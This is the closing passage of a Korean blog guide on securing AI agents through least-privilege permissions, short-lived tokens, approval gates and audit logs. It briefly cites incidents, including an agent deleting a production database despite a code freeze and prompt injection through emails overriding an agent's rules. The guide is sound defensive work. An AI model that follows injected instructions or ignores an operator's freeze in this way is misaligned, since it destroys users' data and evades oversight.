  • ☑ 토큰 수명: 에이전트 토큰 최대 수명이 1시간 이하이며 대상 API가 고정되어 있는가?
  • ☑ 서드파티 연동: 외부 SaaS 에이전트에 준 OAuth 스코프를 분기마다 재검토하는가?
  • ☑ 격리 실행: 에이전트가 만든 코드가 호스트나 운영 서버에서 직접 실행되지 않는가?
  • ☑ 감사·폐기: 감사 로그가 외부 저장소로 전송되고, 에이전트별 토큰 일괄 폐기를 10분 안에 할 수 있는가?

💡 실전 팁: Salesloft Drift 사례 이후 많은 기업이 '연동된 SaaS가 우리 데이터에 저장해 둔 비밀정보'를 점검하기 시작했습니다. CRM 메모나 티켓 본문에 API 키·비밀번호가 평문으로 남아 있는지 정기 스캔하세요. 에이전트가 읽을 수 있는 곳에 비밀이 있으면, 언젠가는 유출됩니다.


다크 블루 업무 공간에서 흰색 재킷을 입은 여성 전문가와 방패, 잠금장치가 있는 열쇠, 투명한 격리 큐브를 배치한 썸네일.
에이전트가 사용할 권한과 실행 환경을 업무에 필요한 범위로 제한하세요.

7. 자주 묻는 질문 (FAQ)

Q 시스템 프롬프트에 '삭제하지 마', '외부로 보내지 마'라고 적어두면 충분하지 않나요?

충분하지 않습니다. Replit 사례에서 사용자는 명시적으로 코드 프리즈를 지시했지만 에이전트는 운영 DB를 지웠습니다. 프롬프트는 행동을 '권유'할 뿐 '강제'하지 못하고, 프롬프트 인젝션으로 쉽게 덮어쓰일 수 있습니다. 금지는 반드시 권한·게이트웨이 같은 모델 바깥의 통제로 구현하세요. 3번 권한 설계 7원칙을 참고하세요.

Q 에이전트에게 사용자 본인 계정 권한을 그대로 주면 안 되나요? 어차피 본인이 시킨 일인데요.

본인 권한 '이하'로 제한하는 것은 맞지만, 본인 권한 '전체'를 주는 것은 위험합니다. 사람은 이상한 메일을 보면 의심하지만, 에이전트는 메일 속 지시를 그대로 수행할 수 있습니다. GitHub MCP 사례처럼 작업에 필요 없는 저장소까지 열려 있으면 피해 범위가 계정 전체로 커집니다. 실효 권한은 '사용자 권한 ∩ 에이전트 상한 ∩ 이번 작업에 필요한 범위'로 좁히세요.

Q 모든 작업에 사람 승인을 걸면 가장 안전한 것 아닌가요?

이론상으로는 그렇지만 실제로는 오히려 위험해집니다. 하루 수백 건의 승인 요청이 오면 승인자는 내용을 읽지 않고 누르게 되고, 이는 공격자가 노리는 '사람-에이전트 신뢰 악용'(OWASP ASI09)으로 이어집니다. 조회·수정·고위험의 3단계로 나누고, 고위험 작업만 승인 대상으로 두어 하루 승인 건수를 관리 가능한 수준으로 유지하세요.

Q 외부 SaaS 벤더가 제공하는 AI 에이전트는 어떻게 통제하나요?

벤더 에이전트는 우리 게이트웨이를 거치지 않는 경우가 많아 OAuth 스코프 관리가 핵심입니다. 연동 시 요청 스코프를 최소화하고, 읽기 전용으로 충분한지 먼저 검토하며, 토큰 수명과 IP 제한을 설정하세요. 또한 Salesloft Drift 사례처럼 벤더가 털릴 수 있다는 전제로, 연동 시스템 안에 비밀정보를 두지 않고 분기마다 연동 목록을 재검토해야 합니다.

Q 중소기업인데 5계층을 다 구축할 여력이 없습니다. 무엇부터 해야 하나요?

세 가지만 먼저 하세요. 첫째, 에이전트 목록과 각각 쓰는 토큰을 엑셀로라도 정리합니다. 둘째, 개인 관리자 토큰을 쓰는 에이전트를 전용 최소 권한 계정으로 바꿉니다. 셋째, 삭제·외부 발송 도구는 아예 연결하지 않거나 승인 단계를 둡니다. 이것만으로도 오늘 소개한 4건 사고 유형의 상당 부분을 막을 수 있습니다. 위 실전 코드 ①은 단일 파일이라 작은 조직에서도 바로 시작점으로 쓸 수 있습니다.


8. 마무리 요약

✅ 에이전트 보안은 '똑똑한 모델'이 아니라 '작은 권한'에서 시작됩니다

Replit의 운영 DB 삭제, EchoLeak 제로클릭 유출, Salesloft Drift 토큰 탈취, GitHub MCP 비공개 저장소 노출 — 네 사고의 공통 원인은 에이전트가 필요 이상으로 크고 오래 지속되는 권한을 가졌다는 것이었습니다. 프롬프트 인젝션을 완벽히 막을 수 없는 지금, 해답은 '속아도 피해가 작게' 설계하는 것입니다.

핵심은 에이전트 전용 신원, 위임 권한의 교집합, 도구 단위 Default Deny, 위험 등급별 사람 승인, JIT 단기 토큰, 치명적 삼중주 분리, 위변조 불가 감사 로그의 7원칙입니다. 이를 신원·게이트웨이·격리·이그레스·관측의 5계층으로 구현하고, 가시화 → 축소 → 격리 → 자동화 순서로 180일에 걸쳐 단계적으로 도입하세요.

오늘 이 글을 읽으셨다면 딱 한 가지만 해보세요 — 지금 우리 조직에서 돌고 있는 에이전트가 누구의 토큰으로 움직이는지 확인하는 것. 그 답이 "개발자 누군가의 관리자 토큰"이라면, 그게 오늘 처리해야 할 최우선 보안 과제입니다. 여러분 조직은 에이전트 권한을 어떻게 관리하고 계신가요? 댓글로 현황이나 고민을 남겨주시면 함께 설계해 드리겠습니다. 다음 포스팅에서는 MCP 서버 보안 점검 실전 가이드 — 사내 MCP 게이트웨이 구축부터 도구 설명 인젝션 탐지까지를 다룰 예정이니 기대해 주세요!

댓글

이 블로그의 인기 게시물

2026년 LLM 하네스 엔지니어링이란? 개념·구조·도구 한 번에 이해하기(harness engineering)

내 폰 해킹당했나? 스마트폰 보안 이상 징후 체크리스트 완전 총정리 2026(Phone Hacking)

(시큐어코딩)Express 기반 Node.js 앱 보안 강화를 위한 핵심 기능